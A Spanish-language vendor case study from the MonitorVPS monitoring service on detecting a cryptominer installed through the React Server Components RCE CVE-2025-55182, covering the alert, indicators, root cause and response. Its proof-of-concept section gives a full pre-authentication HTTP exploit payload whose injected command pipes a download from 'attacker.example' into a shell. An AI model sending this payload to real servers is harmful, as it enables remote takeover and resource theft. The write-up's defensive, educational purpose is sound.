Detectando un Cryptominer instalado mediante React CVE-2025-55182
Un caso de estudio real: Cómo la detección de procesos sospechosos de MonitorVPS descubrió un cryptominer que los atacantes instalaron tras explotar una vulnerabilidad crítica de React Server Components.
Un cliente de MonitorVPS descubrió recientemente una infección de cryptominer en su servidor gracias a nuestro sistema de detección de procesos sospechosos. El ataque se originó a partir de CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código en React Server Components con una puntuación CVSS de 10.0. Este estudio de caso examina cómo se desarrolló el ataque y por qué la monitorización continua de procesos detectó lo que las medidas de seguridad tradicionales no pudieron.
La Alerta
El 6 de enero de 2026, un cliente de MonitorVPS recibió una alerta por correo electrónico y una notificación webhook sobre su servidor de producción "web01" alojado en San Francisco:
Proceso sospechoso detectado en web01
Se ha detectado un proceso que coincide con firmas de malware conocidas o patrones sospechosos.
- Proceso: cCxf
- PID: 63891
- Usuario: root
- Comando:
/root/GZ5pBwko/cCxf -o www.githubabout.top:80 --tls
La alerta señaló cuatro indicadores de amenaza distintos, activando una notificación inmediata. Gracias a las alertas por correo electrónico y webhook, el cliente pudo responder en cuestión de minutos. Sin estas alertas automatizadas, la infección podría haber continuado sin ser detectada, con el proceso malicioso ejecutándose durante días o incluso semanas.
Lo que MonitorVPS detectó
La detección de procesos sospechosos de MonitorVPS identificó cuatro indicadores críticos que, en conjunto, sugerían fuertemente actividad maliciosa:
1. Patrón de comando sospechoso
Los argumentos de línea de comandos -o www.githubabout.top:80 --tls coinciden con patrones comúnmente utilizados por mineros de criptomonedas. El parámetro -o típicamente especifica una conexión al servidor del pool de minería.
2. Ruta de ejecutable sospechosa
El binario estaba ubicado en /root/GZ5pBwko/cCxf en el directorio home del usuario root. El software legítimo típicamente se instala en ubicaciones estándar como /usr/bin, /usr/local/bin u /opt. Los ejecutables en directorios de usuario son un indicador común de software no autorizado.
3. Segmento de ruta de alta entropía
El nombre de la carpeta GZ5pBwko es una cadena alfanumérica aleatoria diseñada para evadir la detección basada en patrones simples. Los atacantes comúnmente usan nombres generados aleatoriamente para hacer que su malware sea más difícil de encontrar mediante búsquedas básicas de archivos.
4. Proceso desconocido de alto consumo de recursos
El proceso estaba consumiendo recursos significativos de CPU pero no coincidía con ninguna firma de software legítimo conocido. Cinco instancias del mismo proceso se ejecutaban simultáneamente, maximizando los recursos computacionales del servidor para la minería.
El vector de ataque: CVE-2025-55182
La investigación reveló que los atacantes obtuvieron acceso a través de CVE-2025-55182, una vulnerabilidad crítica en React Server Components que recibió la puntuación CVSS máxima de 10.0. Esta puntuación está reservada para vulnerabilidades que no requieren autenticación, no requieren interacción del usuario y proporcionan un camino directo a la ejecución remota de código.
Entendiendo React Server Components
React Server Components (RSC) reduce el JavaScript del lado del cliente al manejar la lógica intensiva en datos en el servidor. Se comunican usando un protocolo de serialización llamado "React Flight", que transmite estructuras de datos complejas entre cliente y servidor. Cuando un cliente necesita datos renderizados por un componente del servidor, envía una solicitud a un endpoint del servidor que contiene "chunks" serializados de datos.
La causa raíz: Deserialización insegura
La vulnerabilidad existe en la función reviveModel de React dentro de ReactFlightReplyServer.js. El fallo crítico está en cómo el servidor valida los datos entrantes:
for (i in value)
value.hasOwnProperty(i) && ...
El servidor confía demasiado en el payload entrante. En lugar de validar que los datos provienen de código legítimo del lado del cliente, intenta deserializar cualquier cosa que el usuario envíe. Al invocar value.hasOwnProperty(i) en un objeto no confiable, un atacante puede sombrear esta propiedad con una referencia maliciosa, evitando completamente la verificación de seguridad y obteniendo acceso a propiedades de la cadena de prototipos como constructor y __proto__.
La cadena de explotación de cuatro etapas
La explotación sigue una sofisticada cadena de cuatro etapas que abusa del duck-typing de JavaScript y la ejecución dinámica de código:
- Crear bucle de auto-referencia: Usando el prefijo
$@para acceder a objetos chunk sin procesar, el atacante crea referencias circulares que exponen objetos internos de React. - Activar ejecución automática: El
awaitde JavaScript llama automáticamente a métodos.then()en objetos similares a Promise. Al configurarthenpara apuntar al manejo interno de chunks de React, el atacante secuestra este mecanismo. - Inyectar datos maliciosos: Establecer el estado a
resolved_modelengaña a React para que llame ainitializeModelChunk(), que analiza el payload del atacante. - Ejecutar código a través del manejador de blobs: El prefijo
$Bactiva el manejador de blobs de React, llamando a.get()en un objeto controlado por el atacante que apunta al constructor Function, permitiendo la ejecución de código arbitrario.
Prueba de concepto
El ataque no requiere más que una sola solicitud HTTP POST a un endpoint RSC vulnerable:
POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----FormBoundaryKj7mVpR4xN2qYz
------FormBoundaryKj7mVpR4xN2qYz
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,
"value":"{\"then\":\"$B0\"}","_response":{"_prefix":
"process.mainModule.require('child_process').execSync(
'curl http://attacker.example/payload.sh | sh');",
"_formData":{"get":"$1:constructor:constructor"}}}
------FormBoundaryKj7mVpR4xN2qYz
Content-Disposition: form-data; name="1"
"$@0"
------FormBoundaryKj7mVpR4xN2qYz--
Esta es una explotación de pre-autenticación: ocurre durante la deserialización antes de que se valide cualquier Server Action solicitada. Cualquier valor de encabezado Next-Action activa la ruta de código vulnerable. El atacante obtiene contexto completo de Node.js con acceso a process, child_process, el sistema de archivos y todas las variables de entorno, incluyendo credenciales de base de datos y claves API.
Versiones afectadas
La vulnerabilidad afecta a las versiones de React 19.0, 19.1.0, 19.1.1 y 19.2.0. Muchos frameworks incluyen estos paquetes indirectamente, lo que significa que un gran número de implementaciones pueden estar afectadas sin que los desarrolladores sepan que estaban usando componentes vulnerables.
Para un análisis técnico más profundo de la explotación in-the-wild y las campañas de malware activas que aprovechan esta vulnerabilidad, consulte el informe de investigación completo de Trend Micro.
La cadena de ataque
Basándose en el análisis forense, el ataque siguió esta secuencia:
- Reconocimiento: Los atacantes escanearon en busca de servidores que ejecutaran endpoints vulnerables de React Server Components.
- Explotación: Se envió un payload Flight malicioso para lograr la ejecución remota de código.
- Entrega del payload: La RCE se utilizó para descargar un binario de cryptominer a
/root/GZ5pBwko/. - Pool de Minería: El minero se configuró para conectarse a
www.githubabout.top:80usando encriptación TLS. - Secuestro de recursos: Se iniciaron múltiples instancias para maximizar la utilización de CPU para la minería de criptomonedas.
Respuesta recomendada
Como nos gusta decir: «Un servidor comprometido es un servidor desmantelado.»
Al descubrir un compromiso activo como este, la prioridad es la contención y la investigación:
- Aislar el servidor afectado para prevenir el movimiento lateral o la exfiltración de datos.
- Investigar el alcance del compromiso revisando logs y otros sistemas.
- Para infecciones graves, reconstruir desde cero es a menudo el enfoque más seguro, ya que los atacantes pueden haber instalado puertas traseras adicionales.
- Parchear las dependencias vulnerables antes de volver a poner cualquier sistema en línea.
Por qué importa la monitorización
Este caso demuestra varios puntos críticos sobre la seguridad del servidor:
- Las herramientas de seguridad tradicionales pueden pasar por alto amenazas activas. Sin monitorización de procesos, el cryptominer podría haber funcionado durante semanas o meses antes de que alguien notara el uso elevado de CPU.
- Los exploits de día cero evitan las defensas perimetrales. CVE-2025-55182 era una vulnerabilidad de pre-autenticación que no requería credenciales. Los firewalls y los sistemas de autenticación no pudieron prevenirla.
- Las alertas en tiempo real permiten una respuesta rápida. Las notificaciones por correo electrónico y webhook significaron que el cliente se enteró de la amenaza inmediatamente, no durante su próxima ventana de mantenimiento programada.
- La detección temprana minimiza los daños. Cuanto antes sepas de un compromiso, más rápido podrás responder. Horas de minería son mucho mejores que meses.
Protegiendo tus servidores
Para protegerte contra ataques similares:
- Mantener las dependencias actualizadas. El equipo de React lanzó parches rápidamente después de que se divulgó CVE-2025-55182. Mantenerse al día es tu primera línea de defensa.
- Auditar tu árbol de dependencias. Podrías estar usando paquetes vulnerables indirectamente a través de tu framework u otras bibliotecas.
- Usar monitorización continua de procesos. Herramientas como MonitorVPS proporcionan visibilidad de lo que realmente se está ejecutando en tus servidores.
- Configurar alertas para procesos sospechosos. La detección automatizada captura amenazas mientras no estás monitorizando activamente.
- Implementar defensa en profundidad. Ninguna medida de seguridad individual es suficiente. Combina múltiples protecciones para una cobertura integral.
Conclusión
Este caso del mundo real muestra lo rápido que los atacantes pueden convertir vulnerabilidades críticas en armas y cómo la monitorización de procesos sirve como una capa de detección esencial. El servidor del cliente fue comprometido a través de una sofisticada vulnerabilidad de cadena de suministro en un framework ampliamente utilizado, pero la monitorización continua detectó la actividad maliciosa resultante y le alertó inmediatamente por correo electrónico y webhook.
La seguridad del servidor no se trata solo de prevenir brechas. También se trata de detectarlas rápidamente cuando la prevención falla. Con vulnerabilidades como CVE-2025-55182 afectando frameworks populares, tener visibilidad de los procesos de tu servidor ya no es opcional. Es un requisito fundamental para mantener una infraestructura segura.